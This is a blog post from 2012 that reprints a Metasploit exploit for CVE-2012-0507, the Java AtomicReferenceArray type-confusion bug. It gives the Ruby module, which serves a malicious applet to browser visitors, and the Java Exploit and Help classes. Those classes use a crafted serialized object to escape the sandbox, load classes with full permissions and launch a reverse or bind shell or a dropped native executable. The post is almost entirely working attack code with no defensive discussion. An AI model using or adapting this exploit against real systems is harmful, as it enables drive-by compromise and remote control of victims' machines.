Saturday, April 14, 2012

JAVA CVE-2012-0507 Metasploit POC

Authors:
Jeroen Frijters @ sinn3r at metasploit dot com
Juan Vazquez @ egypt at metasploit dot com



 ##  
 # This file is part of the Metasploit Framework and may be subject to  
 # redistribution and commercial restrictions. Please see the Metasploit  
 # Framework web site for more information on licensing and terms of use.  
 #  http://metasploit.com/framework/  
 ##  
 require 'msf/core'  
 require 'rex'  
 class Metasploit3 < Msf::Exploit::Remote  
      Rank = ExcellentRanking  
      include Msf::Exploit::Remote::HttpServer::HTML  
      include Msf::Exploit::EXE  
      include Msf::Exploit::Remote::BrowserAutopwn  
      autopwn_info({ :javascript => false })  
      def initialize( info = {} )  
           super( update_info( info,  
                'Name'      => 'Java AtomicReferenceArray Type Violation Vulnerability',  
                'Description'  => %q{  
                          This module exploits a vulnerability due to the fact that  
                     AtomicReferenceArray uses the Unsafe class to store a reference in an  
                     array directly, which may violate type safety if not used properly.  
                     This allows a way to escape the JRE sandbox, and load additional classes  
                     in order to perform malicious operations.  
                },  
                'License'    => MSF_LICENSE,  
                'Author'     =>  
                     [  
                          'Jeroen Frijters', #Initial discovery according to his blog  
                          'sinn3r',     # metasploit module  
                          'juan vazquez',  # metasploit module  
                          'egypt'      # added support for older java versions  
                     ],  
                'References'   =>  
                     [  
                          ['CVE', '2012-0507'],  
                          ['OSVDB', '80724'],  
                          ['BID', '52161'],  
                          ['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],  
                          ['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],  
                          ['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],  
                          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']  
                     ],  
                'Platform'    => [ 'java', 'win', 'osx', 'linux', 'solaris' ],  
                'Payload'    => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
                'Targets'    =>  
                     [  
                          [ 'Generic (Java Payload)',  
                               {  
                                    'Platform' => ['java'],  
                                    'Arch' => ARCH_JAVA,  
                               }  
                          ],  
                          [ 'Windows x86 (Native Payload)',  
                               {  
                                    'Platform' => 'win',  
                                    'Arch' => ARCH_X86,  
                               }  
                          ],  
                          [ 'Mac OS X PPC (Native Payload)',  
                               {  
                                    'Platform' => 'osx',  
                                    'Arch' => ARCH_PPC,  
                               }  
                          ],  
                          [ 'Mac OS X x86 (Native Payload)',  
                               {  
                                    'Platform' => 'osx',  
                                    'Arch' => ARCH_X86,  
                               }  
                          ],  
                          [ 'Linux x86 (Native Payload)',  
                               {  
                                    'Platform' => 'linux',  
                                    'Arch' => ARCH_X86,  
                               }  
                          ],  
                     ],  
                'DefaultTarget' => 0,  
                'DisclosureDate' => 'Feb 14 2012'  
                ))  
      end  
      def exploit  
           # load the static jar file  
           path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0507.jar" )  
           fd = File.open( path, "rb" )  
           @jar_data = fd.read(fd.stat.size)  
           fd.close  
           super  
      end  
      def on_request_uri( cli, request )  
           data = ""  
           host = ""  
           port = ""  
           peer = "#{cli.peerhost}:#{cli.peerport}"  
           if not request.uri.match(/\.jar$/i)  
                if not request.uri.match(/\/$/)  
                     send_redirect( cli, get_resource() + '/', '')  
                     return  
                end  
                print_status("#{peer} - Sending #{self.name}")  
                payload = regenerate_payload( cli )  
                if not payload  
                     print_error("#{peer} - Failed to generate the payload." )  
                     return  
                end  
                if target.name == 'Generic (Java Payload)'  
                     if datastore['LHOST']  
                          jar = payload.encoded  
                          host = datastore['LHOST']  
                          port = datastore['LPORT']  
                          vprint_status("Java reverse shell to #{host}:#{port} from #{peer}" )  
                     else  
                          port = datastore['LPORT']  
                          datastore['RHOST'] = cli.peerhost  
                          vprint_status( "Java bind shell on #{cli.peerhost}:#{port}..." )  
                     end  
                     if jar  
                          print_status( "Generated jar to drop (#{jar.length} bytes)." )  
                          jar = Rex::Text.to_hex( jar, prefix="" )  
                     else  
                          print_error("#{peer} - Failed to generate the executable." )  
                          return  
                     end  
                else  
                     # NOTE: The EXE mixin automagically handles detection of arch/platform  
                     data = generate_payload_exe  
                     if data  
                          print_status("#{peer} - Generated executable to drop (#{data.length} bytes)." )  
                          data = Rex::Text.to_hex( data, prefix="" )  
                     else  
                          print_error("#{peer} - Failed to generate the executable." )  
                          return  
                     end  
                end  
                send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )  
                return  
           end  
           print_status( "#{peer} - sending jar..." )  
           send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )  
           handler( cli )  
      end  
      def generate_html( data, jar, host, port )  
           jar_name = rand_text_alpha(rand(6)+3) + ".jar"  
           html = "<html><head></head>"  
           html += "<body>"  
           html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"  
           html += "<param name=\"data\" value=\"#{data}\"/>" if data  
           html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar  
           html += "<param name=\"lhost\" value=\"#{host}\"/>" if host  
           html += "<param name=\"lport\" value=\"#{port}\"/>" if port  
           html += "</applet></body></html>"  
           return html  
      end  
      def generate_jar()  
           return @jar_data  
      end  
 end  
Exploit
 package a;  
 import java.applet.Applet;  
 import java.io.ByteArrayInputStream;  
 import java.io.ObjectInputStream;  
 import java.util.concurrent.atomic.AtomicReferenceArray;  
 import a.*;  
 // Referenced classes of package a:  
 //                Help  
 public class Exploit extends Applet  
 {  
      public Exploit()  
      {  
      }  
      public static byte[] StringToBytes(String s)  
      {  
           byte abyte0[] = new byte[s.length() / 2];  
           for(int i = 0; i < s.length(); i += 2)  
                abyte0[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));  
           return abyte0;  
      }  
      public void init()  
      {  
           try  
           {  
                String as[] = {  
                     "ACED0005757200135B4C6A6176612E6C616E672E4F62", "6A6563743B90CE589F1073296C020000787000000002", "757200095B4C612E48656C703BFE2C941188B6E5FF02", "000078700000000170737200306A6176612E7574696C", "2E636F6E63757272656E742E61746F6D69632E41746F", "6D69635265666572656E63654172726179A9D2DEA1BE", "65600C0200015B000561727261797400135B4C6A6176", "612F6C616E672F4F626A6563743B787071007E0003"   
                };  
                StringBuilder stringbuilder = new StringBuilder();  
                for(int i = 0; i < as.length; i++)  
                     stringbuilder.append(as[i]);  
                ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));  
                Object aobj[] = (Object[])(Object[])objectinputstream.readObject();  
                Help ahelp[] = (Help[])(Help[])aobj[0];  
                AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];  
                ClassLoader classloader = getClass().getClassLoader();  
                atomicreferencearray.set(0, classloader);  
                Help _tmp = ahelp[0];  
                String data = getParameter( "data" );  
                String jar  = getParameter( "jar" );  
                String lhost = getParameter( "lhost" );  
                String lport = getParameter( "lport" );       
                System.out.println("go go go");  
                Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));  
           }  
           catch(Exception exception) {   
                System.out.println(exception.getMessage());  
           }  
      }  
 }  
Helper
 package a;  
 import java.io.ByteArrayOutputStream;  
 import java.io.IOException;  
 import java.io.InputStream;  
 import java.io.ObjectInputStream;  
 import java.io.ObjectOutputStream;  
 import java.io.Serializable;  
 import java.net.URL;  
 import java.security.AllPermission;  
 import java.security.CodeSource;  
 import java.security.Permissions;  
 import java.security.ProtectionDomain;  
 import java.security.cert.Certificate;  
 import java.lang.reflect.Field;  
 public class Help extends ClassLoader implements Serializable{  
      public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {  
           String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };  
           String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };  
           Class cls = null;  
           try  
           {  
                for( int index=0 ; index<classNames.length ; index++ )  
                {  
                     ByteArrayOutputStream bos = new ByteArrayOutputStream();  
                     byte[] buffer = new byte[8192];  
                     int length;  
                     // read in the class file from the jar  
                     InputStream is = expl.getClass().getResourceAsStream( classPaths[index] );  
                     // and write it out to the byte array stream  
                     while( ( length = is.read( buffer ) ) > 0 )  
                          bos.write( buffer, 0, length );  
                     // convert it to a simple byte array  
                     buffer = bos.toByteArray();  
                     URL url = new URL( "file:///" );  
                     Certificate[] certs = new Certificate[0];  
                     Permissions perm = new Permissions();  
                     perm.add( new AllPermission() );  
                     ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );  
                     cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );  
                     Class class_cls = cls.getClass();   
                     System.out.println("The type of the object is: " + class_cls.getName());   
                }  
                // cls will end up being the PayloadX class  
                if( cls != null )  
                {  
                     // reflect into the PayloadX class to get these three fields  
                     Field payload_data = cls.getField( "data" );  
                     Field payload_jar  = cls.getField( "jar" );  
                     Field payload_lhost = cls.getField( "lhost" );  
                     Field payload_lport = cls.getField( "lport" );  
                     // instantiate the PayloadX object once so as we can set the native payload data  
                     Object obj = cls.newInstance();  
                     // set the native payload data, lhost and lport  
                     payload_data.set( obj, data );  
                     payload_jar.set( obj, jar );  
                     payload_lhost.set( obj, lhost );  
                     payload_lport.setInt( obj, lport );  
                     // instantiate a second PayloadX object to perform the actual payload   
                     obj = cls.newInstance();  
                }  
           }  
           catch( Exception e ) {  
                System.out.println(e.getMessage());  
           }            
      }  
 }  

No comments:

Post a Comment